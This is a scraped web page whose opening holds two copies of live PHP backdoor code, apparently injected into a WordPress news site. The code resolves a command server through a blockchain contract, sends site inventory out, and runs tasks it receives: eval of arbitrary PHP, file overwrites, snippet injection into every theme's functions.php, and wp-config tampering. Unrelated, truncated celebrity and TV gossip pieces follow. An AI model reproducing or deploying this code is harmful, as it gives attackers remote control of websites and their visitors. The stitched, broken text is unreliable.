// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Andi Peters joined Cat Deeley on Lorraine in the studio as he shared details of the latest competition. However, he quickly rushed off when Cat revealed Ross was coming up next on the show to talk about his exclusive interview with singer Demi Lovato. Andi didn’t even bother to make an excuse for his exit but simply got up and ran off. Cat remarked: “I think he’s asleep,” pointing to Andi, who could be seen reclining in an armchair. “No I’m just relaxing, sunbathing,” Andi shouted. “What’s on next?” Cat replied: “Ross, he’s in LA,” before the presenter jumped up and ran off set. “Oh God Ross, okay, no way, can’t stay for that,” Andi exclaimed as he disappeared leaving Cat stunned. READ MORE: Carol Kirkwood fears being ‘sacked’ after disagreement with BBC boss The presenter was left looking a little confused before welcoming the entertainment reporter live from LA. “Ross, good morning,” she began as Ross joked: “Good morning, everyone’s a critic.” Cat confirmed Andi was still in the ITV studios but had just hidden behind the cameras. As a shot of the presenter popped up, Andi said: “Love you Ross,” before blowing him a kiss. Another added: “Love, love, love #CatDeeley ! Keep her permanently please!” A third continued: “Cat Deeley on the box. In for #lorraine Hope this become a permanent fixture!” However, some weren’t as impressed as they begged for Lorraine Kelly to return to her chat show. “@catdeeley is god awful on this show. She’s managed to push her way in now she failed in the USA,” one unimpressed viewer posted. Bryan Cranston takes a shine to one of Jack Nicholson’s most iconic roles in a new Super Bowl commercial for Mountain Dew. In the above ad, the six-time Emmy winner teams up with Tracee Ellis Ross to recreate the “Heeeeere’s Johnny!” moment from the classic film The Shining. Cranston’s Jack Torrance takes an axe to the bathroom door, only instead of trying to gain access and harm Ross’ Wendy, he offers her a taste of the soft drink’s new sugar-free alternative. What follows is a quickshot of the Elevator of Blood (which is now filled with soda), followed by another shot of Cranston costumed as the Grady Twins (which we cannot unsee). Cranston, of course, is best known for his career-making turn as chemistry teacher-turned-drug kingpin Walter White on AMC’s Breaking Bad — a role he briefly reprised in the 2019 feature-length sequel El Camino. He will soon return to the small screen in Your Honor, a Showtime limited series executive-produced by Good Wife creators Robert and Michelle King. Ross, meanwhile, continues to star as Rainbow Johnson on the ABC comedy black-ish. She also serves as narrator on the Rainbow-centric prequel series mixed-ish. Watch the Mountain Dew parody above, then press PLAY on the original film clip below to see how it compares.
Outlander fans will remember that Ross (played by Scott Kyle) played a frequent role in season two of the Starz show just ahead of the brutal battle of Culloden. The star has since made his exit. However, despite not being the biggest character, his appearance did make an impact, as the star’s refusal to bulk up and embrace the typical tough highlander look made him stand out. Now, the Outlander star has opened up about his character’s backstory, and why it made sense for Ross to carry an extra few pounds. Speaking to absolutemusicchat.com, Scott revealed, he had a backstory for Ross in his head when playing the role. Moreover, he related the character to his own life. He explained: “Yeah, I think you always go to home, what I mean by that is I think you always dig deep in yourself. READ MORE: Outlander season 5: Will there be more time travel? Stars drop hints “Ross didn’t have any kids, I thought, ‘Me and Karen don’t have any kids (yet) so I can imagine myself in Ross’s shoes. “You’re going to war, you’re worried about dying, but at least you don’t have any kids.” The actor went on to reveal that his job of a blacksmith would have made him wealthy, meaning it was likely he would be carrying extra weight. He added: “He’s a blacksmith, back in those days a blacksmith would have been a really good job, he would have been poor because of the times but he had a business, so he had a few quid. “If I did that, maybe he would stand out, so when the camera pans across all these big, hairy Highlanders there’s this young lad and you’re going, ‘What the hell is he doing there?’ I think that’s what happened when people started saying, ‘We’ve got to save Ross, make sure he’s okay, see him home safe.’” Meanwhile, Scott also spoke out about his time on set, revealing how his dodgy lifting left one of his co-stars feeling a little worse for wear. Outlander fans will remember Kincaid as a young man from Lallybroch who joined Jaime Fraser (Sam Heughan) in fighting for Charles Stuart. Sadly he lost his life after receiving fatal injuries as a result of the pact he made with Ross. He was carried in the arms of Ross who is devastated by the death of his comrade. Ross began: “began: “This is hilarious! “I have to carry Gregor’s dead body in in my arms – that’s how they described it in the script – some of the cast thought I was a fireman, because of the way the script said I needed to carry him. However, being thrown about didn’t fair too well with Gregor, who fainted as a result. He added: “About the 8th or 9th time I bring the Gregor in, I stand him up, look at him and he looks a bit away with it and he had to sit down – he fainted.” Outlander returns February 16 on STARZ and Amazon Prime Video. Donna Chambers has managed to survive the first eight installments of American Horror Story: 1984, but she isn’t out of the woods yet. Wednesday’s episode (FX, 10/9c) brings the season to its chilling conclusion, and as actress Angelica Ross tells TVLine, it’s going to be a fight to the finish. “Her intention has always been to stop the violence,” Ross says of her character, who initially disguised herself as Camp Redwood’s head nurse. “If it wasn’t for Donna, we never would have known that Margaret was really the killer. Some people had to die in the process, but Donna helped bring that to the surface. Now she just needs to see it through to the end. I don’t know what the end will mean for Donna, but I wouldn’t expect her to go out without a fight.” We already compiled a list of questions we need the finale to answer — from the identity of the lake creature to the secret behind Camp Redwood’s “blood curse” — but we also grilled Horror Story newcomer Ross about her initial experience playing in Ryan Murphy’s sandbox of nightmares. Let’s see what she says: TVLINE | We’d all be better off with that mindset. TVLINE | It’s rare to see a transgender performer get to play a character whose storyline doesn’t entirely revolve around their trans identity. What has that opportunity meant to you? TVLINE | Did you have any idea what to expect before you started? TVLINE | And now she’s back at Camp Redwood. TVLINE | Can Brooke really trust Donna, though? She hasn’t always been the most honest person. TVLINE | Let’s end on a random question. You spent a few years living in Roanoke, Va. Have you seen the Roanoke season of Horror Story? What are your predictions for the AHS: 1984 finale? How will it all end, and who will be left standing? Drop a comment with all of your thoughts below. The episode sees Phoebe get chicken pox just as her later love interest Ryan (Charlie Sheen) arrived back from the navy. Meanwhile, co-creator David Crane revealed that despite forgetting a lot of the specific storylines, he does occasionally question his judgment when rewatching old videos. He admitted to wondering “Wow, really? We went with that?” when stumbling across particular episodes. Watch Friends daily on Comedy Central – The Complete Series 1-10 is available now on Blu-ray, DVD and Netflix. Season one of the hit sit-com Friends saw Ross Geller (David Schwimmer) work his way through his complicated relationship with his ex-wife Carol (Jane Sibbett) who left him for another woman called Susan (Jessica Hecht). When it was revealed Carol was pregnant with his son, the storyline focused on Ross’ new life as a father. Though, as seasons went on, Ross seemed to see his son less and less before Ben completely disappeared from screens after he and Rachel (Jennifer Anniston) welcomed baby Emma into the world in season eight. However, one deleted scene reveals an axed plot showing Ross to be quite the dedicated father. Fans will remember the episode where Ross went to London to marry Emily (Helen Baxendale) before he called her Rachel at the alter thus causing the whole courtship to fall through. However, a deleted scene recently surfaced adding to the London storyline, revealing that Ross tried to persuade his ex-wife to start a new life in London so he could be closer to Ben. In the scene Carol says: “Ross we are not moving to London, we already have lives here!” To which Ross pleads with her, saying: “It would be great! They have great theatre, great accents, tea, they have a Queen”. Moreover, a young Ben running towards Ross as he embraces his son in his arms. Ross says: “Guess what we’re moving to London!” READ MORE: Friends: Rachel’s shock pregnancy error revealed in clue fans missed Of course his ex-wife and Susan disputed taking their life overseas, making it clear it wasn’t going to happen. Pointing at Ben Ross said, “Look, he want’s to go” To which Carol responded: “Yeah, we leave all our big decisions to the three year old”. Therefore, it seems as though Ross did want his son around despite Ben’s absence from later series and Ross’ women-focused storylines. This comes after fans noticed something strange about Rachel’s pregnancy dates. According to Reddit user FrostedMiniWheats123, creators slipped up with the timing of the pregnancy, accidentally making Rachel’s pregnancy last an entire year. The user explained: “Just watched through all the seasons of Friends for the millionth time and realised a huge continuity error. “In season seven, episode 17, The One with the Cheap Wedding Dress, Monica says she is getting married May 15th. “From season eight, episode one, The One After I Do, we find out Rachel is officially pregnant and has been for at least a couple weeks.” “It has to be sometime in October, which means Rachel should be at least 5 months pregnant and she doesn’t even have a baby bump.” Friends is available on Netflix. The poignant 30-second clip of the brand new series of Poldark began with some wonderful words of encouragement from a mystery voice for the brooding protagonist Ross Poldark (played by Aidan Turner). Ross appeared to be mulling something serious over in his mind, but who could it involve? “You will make the world a stronger, fairer, wiser place,” the voiceover told him. What’s more fiery red-head Demelza (Eleanor Tomlinson) seems determined to build Cornwall into a better place as she delivered a rousing speech to her counterparts on the BBC programme. “Our children would have the means to rise, the mother-of-two said firmly. “And claim parity with their richer fellows.” But despite these bold statements, it seems the duo are in for another rocky road on the historical drama. Ross could then be heard saying: “If your own country betrays you, to whom do you then owe loyalty?” And the drama only intensified, as in a series of flashes both the Poldarks and the Enyses seemed to be struggling to keep their lives from falling apart. In one of the final shots, Ross emerged from a cave carrying the lifeless body of a child, and it came shortly after an enormous explosion. It’s unclear whether the two events are connected, and the child identity is unknown at this moment in time, but will one fan-favourite character be left devastated with loss? What’s more, George Warleggan (Jack Farthing) looks set to go further and further into his depression as he can be seen holding a gun to someone’s head. Taking to the Twitter comments, fans were giddy with enthusiasm over the new teaser, which was released by the official Poldark account. “Anyone else have a lump in their throat?” one person asked. “I think mine won’t be going away anytime soon. It looks so wonderful!! I can’t believe it’s the last series. @PoldarkTV #Poldark #AidanCrew.” Another demanded: “All I know is Ross and Demelza better end up happy together after all this turbulent drama.” “I want to see it NOW but 